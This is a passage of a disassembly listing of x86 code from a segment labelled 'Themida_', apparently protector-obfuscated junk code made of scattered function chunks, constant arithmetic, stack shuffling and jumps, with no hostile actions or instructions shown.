; START	OF FUNCTION CHUNK FOR sub_552E8E


loc_553E24:				; CODE XREF: sub_552E8E+11j
		pop	edi
		sub	eax, ebx
		sub	eax, 4A900ED1h
		mov	ebx, [esp+4+var_4]
		push	7AB4h
		mov	[esp+8+var_8], edi
		mov	edi, esp
		push	edx
		mov	edx, 3C096F6Eh
		dec	edx
		jmp	loc_557560
; END OF FUNCTION CHUNK	FOR sub_552E8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553E45:				; CODE XREF: sub_55A4DA+945j
		shl	esi, 3
		xor	esi, 641A6C8Ch
		push	edx
		jmp	loc_556177
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553E54:				; CODE XREF: sub_55ABF6+29Bj
		push	esi
		push	ebp
		push	ebx
		mov	ebx, 67D1465Bh
		xor	ebx, 6CA065CCh
		jmp	loc_55DCE9
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_553E67:				; CODE XREF: sub_55A0D6-2A68j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4CCE7B12h
		jmp	loc_5591AA
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------


loc_553E75:				; CODE XREF: Themida_:00554B1Dj
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55BA36
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55837C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553EAD:				; CODE XREF: sub_55A4DA-1E37j
		sub	cl, 0BEh
		sub	bl, cl
		pop	ecx
		add	bl, 99h
		add	bl, 0F4h
		add	bl, 7Bh
		sub	bl, ah
		jmp	loc_5572D9
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_553EC3:				; CODE XREF: Themida_:0055A2D9j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_553ED3:				; CODE XREF: sub_55D0F3-B402j
		add	ecx, 6DCE544Eh
		add	ecx, esi
		sub	ecx, 6DCE544Eh
		pop	esi
		xchg	ecx, [esp+4+var_4]
		jmp	loc_55C6D0
; END OF FUNCTION CHUNK	FOR sub_55D0F3

; =============== S U B	R O U T	I N E =======================================



sub_553EEA	proc near		; DATA XREF: Themida_:00551268o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005527BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00553322 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005549BB SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005582C2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559D2A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BE49 SIZE 00000014 BYTES

		mov	ax, [esp+0]
		jmp	loc_55BE49
sub_553EEA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_553EF3:				; CODE XREF: sub_556BCD+4j
		mov	edx, 4
		jmp	loc_559BBF
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_553EFD:				; CODE XREF: sub_554085+282Ej
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	ax
		mov	ah, 0A2h
		jmp	loc_551D0F
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------


loc_553F0D:				; CODE XREF: Themida_:0055DE55j
		add	edx, ecx
		add	edx, 3B9A2B9Ch
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	2
		jmp	loc_55D6E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553F26:				; CODE XREF: sub_55ABF6+9A8j
		add	esp, 4
		xchg	ebx, [esp-0Ah+arg_4+2]
		pop	esp
		jmp	loc_55C69C
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_553F35:				; CODE XREF: sub_55B265+Cj
		mov	ecx, 0F986A77h
		push	edx
		jmp	loc_5565F1
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_558F25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553F4C:				; CODE XREF: sub_55ABF6-91FDj
		xor	eax, 5DFB384Ch
		xor	eax, 80DAB22Fh
		or	esi, eax
		jmp	loc_554A73
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_553F5D:				; CODE XREF: sub_554592+991Aj
		mov	edx, 14911018h
		or	edx, 3C0A721Fh
		or	edx, 57F77549h
		sub	edx, 53E30EAFh
		shl	edx, 4
		shr	edx, 1
		push	edi
		mov	edi, 56D79EFh
		and	edi, 2EF84978h
		inc	edi
		xor	edi, 0F8EDA7D7h
		add	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		jmp	loc_55733D
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_553F97:				; CODE XREF: Themida_:005587EDj
		add	ebx, 0BBD78F90h
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_557AB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558B68


loc_553FC2:				; CODE XREF: sub_558B68+163Aj
		not	ecx
		dec	ecx
		sub	ecx, 113C4D32h
		sub	ecx, 0BBB01768h
		mov	ebp, ecx
		pop	ecx
		mov	eax, 2EE1554Ch
		sub	eax, ebp
		pop	ebp
		jmp	loc_55A7DF
; END OF FUNCTION CHUNK	FOR sub_558B68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_553FE1:				; CODE XREF: sub_558657-25CDj
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	cx, [esp-4+arg_0]
		push	ebp
		push	esp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	4695h
		mov	[esp+4+var_4], eax
		push	ecx
		push	7B24D0Bh
		pop	ecx
		sub	ecx, 8C58E2FEh
		jmp	loc_557227
; END OF FUNCTION CHUNK	FOR sub_558657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_554017:				; CODE XREF: sub_55C814-3EB8j
		push	dword ptr [esp+0]
		pop	ecx
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		jmp	loc_55B53B
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55402B:				; CODE XREF: Themida_:0055550Dj
		pop	esi
		jmp	loc_5599C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_554031:				; CODE XREF: sub_55611A+1397j
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_55CE82
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_554039:				; CODE XREF: sub_55BB30-44EDj
		mov	[esp+8+var_8], ecx
		mov	ecx, 1C78358Eh
		push	edi
		mov	edi, 43C62AB1h
		add	ecx, edi
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_559FCF
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556EE1


loc_554051:				; CODE XREF: sub_556EE1+424Cj
		sub	edi, 267B57A1h
		pop	edx
		push	edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		inc	byte ptr [esp-4+arg_0]
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_556EE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55406D:				; CODE XREF: sub_55C58B-5CBBj
		sub	edx, 42483997h
		pop	ebx
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_554079:				; CODE XREF: Themida_:00554379j
		mov	ebp, 215D91ABh
		mov	ebx, ebp
		jmp	loc_556522

; =============== S U B	R O U T	I N E =======================================



sub_554085	proc near		; CODE XREF: sub_55C840-59A6j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005516B0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00551D0F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00552B3B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00553EFD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055592D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055612D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00556166 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055631A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005568AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00556913 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556B5B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558809 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559CD8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055AB1E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BB84 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055CBCE SIZE 0000000F BYTES

		push	ebx
		jmp	loc_556B5B
sub_554085	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55408B:				; CODE XREF: Themida_:0055920Cj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55D6B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554099:				; CODE XREF: sub_55ABF6-5304j
		push	dx
		mov	dh, 0Ch
		sub	al, 97h
		sub	al, dh
		push	ecx
		mov	ch, 0A3h
		shl	ch, 6
		xor	ch, 81h
		shl	ch, 8
		sub	ch, 56h
		xor	ch, 3Dh
		jmp	loc_559675
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559E57


loc_5540B8:				; CODE XREF: sub_559E57-6C3Fj
		mov	cx, [esp+6+var_6]
		jmp	loc_55DA18
; END OF FUNCTION CHUNK	FOR sub_559E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_5540C1:				; CODE XREF: sub_551F97+1D36j
		pop	ebx
		pop	[esp+6+var_6]
		mov	esp, [esp]
		jmp	loc_55999B
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_5540CD:				; CODE XREF: Themida_:005516F0j
		add	bp, si
		pop	esi
		add	[esp+2], bp
		pop	bp
		jmp	loc_55D07D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5540DD:				; CODE XREF: sub_55ABF6-8B05j
		add	esp, 4
		add	bl, ch
		push	[esp-0Ah+arg_4+2]
		pop	ecx
		add	esp, 4
		add	bl, al
		sub	bl, 98h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_55AEC0
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5540FA:				; CODE XREF: Themida_:00555C42j
		neg	ebp
		inc	ebp
		sub	ebp, 1
		add	ebp, 60BC6CF4h
		add	ebp, 0C73893AAh
		jmp	loc_555799

; =============== S U B	R O U T	I N E =======================================



sub_554114	proc near		; CODE XREF: sub_55ABF6-21A2j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00552AA7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00553416 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055444E SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0055B4D9 SIZE 0000001A BYTES

		push	ebx
		mov	ebx, 7050344h
		dec	ebx
		sub	ebx, 22E054D8h
		sub	ebx, 0EC9F0472h
		sub	esi, ebx
		pop	ebx
		add	ecx, esi
		jmp	loc_552AA7
sub_554114	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_554131:				; CODE XREF: Themida_:0055822Ej
		push	edx
		push	60AD7FE7h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 0FFFFFFFFh
		push	82Ah
		mov	[esp], esi
		mov	esi, 7CA33FDFh
		xor	edx, esi
		pop	esi
		push	edi
		mov	edi, 16934325h
		xor	edi, 0DF3C71h
		xor	edi, 7FFB7A12h
		push	edi
		jmp	loc_5582D8
; ---------------------------------------------------------------------------


loc_55416C:				; CODE XREF: Themida_:00551AB9j
		mov	edx, 0D5564B36h
		xor	esi, edx
		pop	edx
		jmp	loc_5585D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_554179:				; CODE XREF: sub_552215+BAB3j
		xchg	eax, [esp+4+var_4]
		jmp	loc_552BB9
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_554181:				; CODE XREF: Themida_:00558E1Fj
		neg	edx
		xor	edx, 0A1E79DFFh
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_553251
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_554196:				; CODE XREF: sub_55C58B-5j
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		push	19A5h
		mov	[esp+0], ebx
		push	ecx
		jmp	loc_554DBA
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_5541B3:				; CODE XREF: Themida_:00555CEFj
		sub	edx, 54226908h
		jmp	loc_552144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_5541BE:				; CODE XREF: sub_55326E+2352j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5536E6
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B43


loc_5541D2:				; CODE XREF: sub_555B43-8A3j
		push	[esp+0Ch+var_8]
		pop	ecx
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	cx, [esp-4+arg_0]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55AD49
; END OF FUNCTION CHUNK	FOR sub_555B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BEDA


loc_5541E9:				; CODE XREF: sub_55BEDA-1C3Bj
		add	esi, 0C6E1D38h
		add	esi, ebx
		sub	esi, 0C6E1D38h
		mov	ebx, [esp+4+var_4]
		jmp	loc_55A4A0
; END OF FUNCTION CHUNK	FOR sub_55BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558B68


loc_5541FF:				; CODE XREF: sub_558B68+1C8Dj
		xor	edx, 520856F7h
		add	edx, 720A13B6h
		dec	edx
		sub	edx, 8F93346Ch
		xor	eax, edx
		pop	edx
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_558B68
; ---------------------------------------------------------------------------


loc_55421A:				; CODE XREF: Themida_:00556615j
		sub	eax, 5D7C7AADh
		jmp	loc_557E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B3F3


loc_554224:				; CODE XREF: sub_55B3F3+3j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55C6AD
; END OF FUNCTION CHUNK	FOR sub_55B3F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557093


loc_55422F:				; CODE XREF: sub_557093+6687j
		push	esp
		jmp	loc_55AB59
; END OF FUNCTION CHUNK	FOR sub_557093
; ---------------------------------------------------------------------------


loc_554235:				; CODE XREF: Themida_:00552825j
		pop	ebx
		jmp	loc_55CC14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55423B:				; CODE XREF: sub_5546E4-1C02j
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_553666
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------


loc_554246:				; CODE XREF: Themida_:00556B8Ej
		add	ebp, ecx
		add	ebp, 38131C40h
		add	ebp, 66243B33h
		jmp	loc_55C66D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5536FD


loc_554259:				; CODE XREF: sub_5536FD+3505j
		shr	ebx, 2
		sub	ebx, 37EFFD7Dh
		add	esi, ebx
		pop	ebx
		jmp	loc_557DD6
; END OF FUNCTION CHUNK	FOR sub_5536FD
; ---------------------------------------------------------------------------


loc_55426A:				; CODE XREF: Themida_:005591C6j
		sub	al, dl
		pop	edx
		push	61ECh
		jmp	loc_55DA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554277:				; CODE XREF: sub_55ABF6+C4j
		pop	eax
		xchg	esi, [esp+0]
		pop	esp
		sub	eax, 1A3E7E0Fh
		jmp	loc_55B9C2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_554286:				; CODE XREF: Themida_:0055CC2Bj
		mov	eax, [esp]
		add	esp, 4
		push	627Fh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55A93F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_5542A4:				; CODE XREF: sub_55AE3A-178Ej
		push	edx
		jmp	loc_553D2B
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_5542AA:				; CODE XREF: Themida_:00551AE7j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	ebx
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_5577C4
; ---------------------------------------------------------------------------


loc_5542D0:				; CODE XREF: Themida_:00557909j
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 108B2AC2h
		xor	edi, 38546251h
		sub	edi, 994F9D29h
		xor	ebx, edi
		pop	edi
		inc	ebx
		shl	ebx, 3
		and	ebx, 315B62F7h
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 45B378DEh
		shl	edi, 5
		jmp	loc_554FE2
; ---------------------------------------------------------------------------


loc_55430E:				; CODE XREF: Themida_:00557880j
		and	esi, 37647109h
		push	eax
		mov	eax, 552538DCh
		jmp	loc_55301F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55431F:				; CODE XREF: sub_55326E+58E3j
		add	esp, 4
		push	edi
		push	eax
		push	3DC26A9h
		pop	eax
		jmp	loc_559C2E
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_554332:				; CODE XREF: sub_55C58B-C74j
		add	bh, 9Dh
		or	cl, bh
		pop	ebx
		xor	cl, 5Dh
		xor	cl, 4Bh
		jmp	loc_55684B
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_554343:				; CODE XREF: Themida_:0055A36Aj
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_555B38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55434E:				; CODE XREF: sub_55A0D6-F1Aj
		xchg	eax, [esp+10h+var_10]
		jmp	loc_55CD8B
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_554356:				; CODE XREF: sub_55B62C+Dj
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5528CF
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_554361:				; CODE XREF: Themida_:005543CBj
		add	eax, edx
		pop	edx
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_553B22
; ---------------------------------------------------------------------------


loc_554376:				; CODE XREF: Themida_:0055B6F4j
		mov	[esp], ebp
		jmp	loc_554079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55437E:				; CODE XREF: sub_55910B-EBAj
		mov	ah, 0C9h
		and	ah, 90h
		push	ebx
		mov	bh, 7Ch
		add	bh, 4Eh
		neg	bh
		xor	bh, 0B7h
		xor	ah, bh
		pop	ebx
		add	dl, ah
		pop	eax
		shr	dl, 3
		sub	esp, 4
		jmp	loc_552103
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5543A2:				; CODE XREF: sub_55ABF6-19D5j
		mov	ecx, 495F5638h
		sub	esp, 4
		jmp	loc_5557B1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_5543AF:				; CODE XREF: sub_55AE3A-53D0j
		push	edx
		jmp	loc_559D00
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_5543B5:				; CODE XREF: Themida_:00555AFBj
		mov	[esp], ecx
		mov	ecx, 1C5E2365h
		push	ebp
		jmp	loc_5587BC
; ---------------------------------------------------------------------------


loc_5543C3:				; CODE XREF: Themida_:00555EECj
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_554361
; ---------------------------------------------------------------------------


loc_5543D0:				; CODE XREF: Themida_:00559157j
		pop	edi
		jmp	loc_55BC56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_5543D6:				; CODE XREF: sub_558657-F2Cj
		push	6157h
		jmp	loc_55607F
; END OF FUNCTION CHUNK	FOR sub_558657
; ---------------------------------------------------------------------------


loc_5543E0:				; CODE XREF: Themida_:0055983Ej
		pop	ecx
		jmp	loc_559A48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_5543E6:				; CODE XREF: sub_5545BE+4E91j
		sub	edi, 2
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], cx
		mov	cl, 0CDh
		jmp	sub_55C58B
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------


loc_5543FB:				; CODE XREF: Themida_:0055D451j
		xor	ebx, 0F91D7B9Ch
		push	21BBh
		mov	[esp], ebx
		sub	dword ptr [esp], 368732A8h
		pop	eax
		jmp	loc_558921
; ---------------------------------------------------------------------------


loc_554416:				; CODE XREF: Themida_:0055A57Fj
		push	77477672h
		jmp	loc_557001
; ---------------------------------------------------------------------------


loc_554420:				; CODE XREF: Themida_:00556948j
		movsx	cx, al
		push	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		push	5D98h
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_559051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554114


loc_55444E:				; CODE XREF: sub_554114+73DAj
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edx
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		not	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	761Ch
		mov	[esp-0Ch+arg_8], esi
		push	esp
		pop	esi
		jmp	sub_5571D3
; END OF FUNCTION CHUNK	FOR sub_554114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_554492:				; CODE XREF: sub_559249-4B95j
		push	eax
		mov	eax, 35AD7DF0h
		not	eax
		push	ebx
		mov	ebx, 14A92173h
		and	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, offset dword_4E097C
		jmp	loc_55C037
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5544AE:				; CODE XREF: sub_55C814-371Aj
		pop	edx
		or	eax, 25D37F0Dh
		inc	eax
		jmp	loc_556CAA
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_555C26
; ---------------------------------------------------------------------------


loc_5544C0:				; CODE XREF: Themida_:0055D893j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bl, 0EEh
		push	cx
		mov	ch, 0CDh
		add	al, ch
		pop	cx
		jmp	loc_557873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_5544E7:				; CODE XREF: sub_555A6F+5E71j
		sub	edx, 45E13E73h
		add	edx, 432A04C7h
		add	edx, ebx
		jmp	loc_559E88
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_5544FA:				; CODE XREF: sub_5546E4+6256j
		sub	[esp+8+var_8], edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		neg	edi
		neg	edi
		add	edi, 7CCB71C6h
		xor	edi, 0A73CC6F2h
		add	ebp, 295C24BDh
		add	ebp, edi
		sub	ebp, 295C24BDh
		pop	edi
		push	ecx
		mov	ecx, 1B5D6637h
		not	ecx
		or	ecx, 37AD6EAAh
		sub	ecx, 0F7AFFFE8h
		add	ebp, 50824990h
		add	ebp, ecx
		sub	ebp, 50824990h
		pop	ecx
		jmp	loc_552ADF
; ---------------------------------------------------------------------------


loc_55454A:				; CODE XREF: sub_5546E4+6C1Bj
		push	ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554552:				; CODE XREF: sub_55ABF6+30FCj
		add	esp, 4
		add	esp, 4
		mov	esi, 3CC23BECh
		jmp	loc_55768E
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_554562	proc near		; DATA XREF: Themida_:0055124Co
		mov	ax, [esp+0]
		jmp	sub_5594EA
sub_554562	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	6212h
		mov	[esp], edx
		push	7A14h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5554E9


loc_554587:				; CODE XREF: sub_5554E9-2A67j
		mov	bl, dh
		pop	edx
		mov	eax, [esp+8+var_8]
		jmp	loc_553159
; END OF FUNCTION CHUNK	FOR sub_5554E9

; =============== S U B	R O U T	I N E =======================================



sub_554592	proc near		; DATA XREF: Themida_:00551224o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005522A2 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00552992 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005533E2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00553A61 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00553F5D SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00554DA7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00556002 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00556340 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005566A1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055733D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00558F90 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055915C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559E3B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00559F58 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055A26F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A3E4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055A898 SIZE 00000016 BYTES
